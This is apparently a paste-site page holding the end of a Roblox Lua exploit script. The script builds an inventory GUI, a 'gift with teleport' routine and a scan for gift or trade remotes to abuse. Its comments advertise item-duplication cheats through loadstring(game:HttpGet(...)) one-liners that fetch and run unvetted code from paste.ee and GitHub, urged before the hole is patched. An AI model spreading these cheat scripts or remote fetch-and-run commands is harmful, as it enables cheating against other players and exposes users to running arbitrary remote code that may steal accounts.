- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
- end)
- return
- end
- -- Start the gifting with teleport process
- giftButton.Text = "Sending..."
- giftButton.BackgroundColor3 = Color3.fromRGB(100, 100, 150)
- local success, message = giftWithTeleport(itemData.tool, targetPlayer)
- if success then
- -- Check status every second for up to 10 seconds
- local checkInterval = 0.5
- local maxChecks = 20
- local checks = 0
- local checkSuccess = function()
- checks = checks + 1
- -- If the tool no longer exists, gift was successful
- if not itemData.tool:IsDescendantOf(game) then
- giftButton.Text = "Sent!"
- giftButton.BackgroundColor3 = Color3.fromRGB(60, 150, 60)
- -- Reset after 2 seconds and refresh
- task.delay(2, function()
- giftButton.Text = "Gift"
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
- refreshInventoryList()
- end)
- return
- end
- -- If we've reached max checks, give up
- if checks >= maxChecks then
- giftButton.Text = "Failed!"
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 60)
- -- Reset after 2 seconds
- task.delay(2, function()
- giftButton.Text = "Gift"
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
- end)
- return
- end
- -- Continue checking
- task.spawn(function()
- task.wait(checkInterval)
- checkSuccess()
- end)
- end
- -- Start checking
- checkSuccess()
- else
- -- Failed to start the process
- giftButton.Text = "Failed!"
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 60)
- -- Reset after 2 seconds
- task.delay(2, function()
- giftButton.Text = "Gift"
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
- end)
- end
- end)
- -- Add hover effects
- giftButton.MouseEnter:Connect(function()
- if giftButton.Text == "Gift" then
- giftButton.BackgroundColor3 = Color3.fromRGB(180, 80, 180)
- end
- end)
- giftButton.MouseLeave:Connect(function()
- if giftButton.Text == "Gift" then
- giftButton.BackgroundColor3 = Color3.fromRGB(150, 60, 150)
- end
- end)
- end
- currentX = currentX + columnWidths[j]
- end
- end
- -- Update scrolling frame content size
- scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, #allItemsData * rowHeight)
- -- Update counter
- titleText.Text = "Inventory Items & Prices - " .. #allItemsData .. " Items"
- end
- -- Connect sort button click handlers
- for colName, button in pairs(sortButtons) do
- button.MouseButton1Click:Connect(function()
- if currentSortColumn == colName then
- -- Toggle direction if same column
- currentSortDir = currentSortDir == "asc" and "desc" or "asc"
- else
- -- New column, set appropriate default direction
- currentSortColumn = colName
- -- Special cases for default sort direction
- if colName == "Weight (kg)" or colName == "Price" or colName == "Variant" or
- colName == "Mutations" or colName == "Favorited" then
- currentSortDir = "desc" -- Higher values first
- else
- currentSortDir = "asc" -- A-Z for text
- end
- end
- -- Just re-sort and redisplay without refreshing data
- createSortedItemList()
- end)
- end
- -- Connect the refresh button
- refreshButton.MouseButton1Click:Connect(function()
- if not isRefreshing then
- refreshInventoryList()
- end
- end)
- -- Find and check gift functionality (try to find the remote)
- local function checkGiftFunctionality()
- local found = false
- pcall(function()
- for _, remote in pairs(ReplicatedStorage:GetDescendants()) do
- if remote:IsA("RemoteEvent") and
- (remote.Name:lower():find("gift") or remote.Name:lower():find("trade")) then
- found = true
- print("Found potential gift remote: " .. remote:GetFullName())
- end
- end
- end)
- if not found then
- print("No gift remote found. Gift functionality may not work.")
- end
- end
- -- Try to detect gift functionality
- task.spawn(checkGiftFunctionality)
- -- Set up auto-refresh (using a safer approach)
- local function setupAutoRefresh()
- spawn(function()
- -- Initial refresh
- refreshInventoryList()
- -- Check if GUI still exists every 30 seconds and refresh
- while true do
- task.wait(30)
- if not inventoryGui or not inventoryGui.Parent then break end
- if not isMinimized and not isRefreshing then
- pcall(refreshInventoryList)
- end
- end
- end)
- end
- -- Setup auto refresh
- setupAutoRefresh()
Advertisement
Comments
-
- SCRIPTDEVGOD! UPDATED 13 JUNE!
- loadstring(game:HttpGet("https://paste.ee/r/Nx5JxjFs"))()
- or
- loadstring(game:HttpGet("https://paste.ee/r/aJxecq8E"))()
- ALL EXEC SUPPORT!
- new script with seed and pet spawner! EGG AUTO HATCH!
- Before fixed, used it fast now guys!
-
- [NEW DUPE] Grow a Garden (FE) NOT PATCH YET! Works for all Executors (Use this now before it gets patched!)
- 👇
- loadstring(game:HttpGet("https://raw.githubusercontent.com/JJSpl0it2/voxhub-gag/refs/heads/main/vohub.lua"))()
Add Comment
Please, Sign In to add comment
Advertisement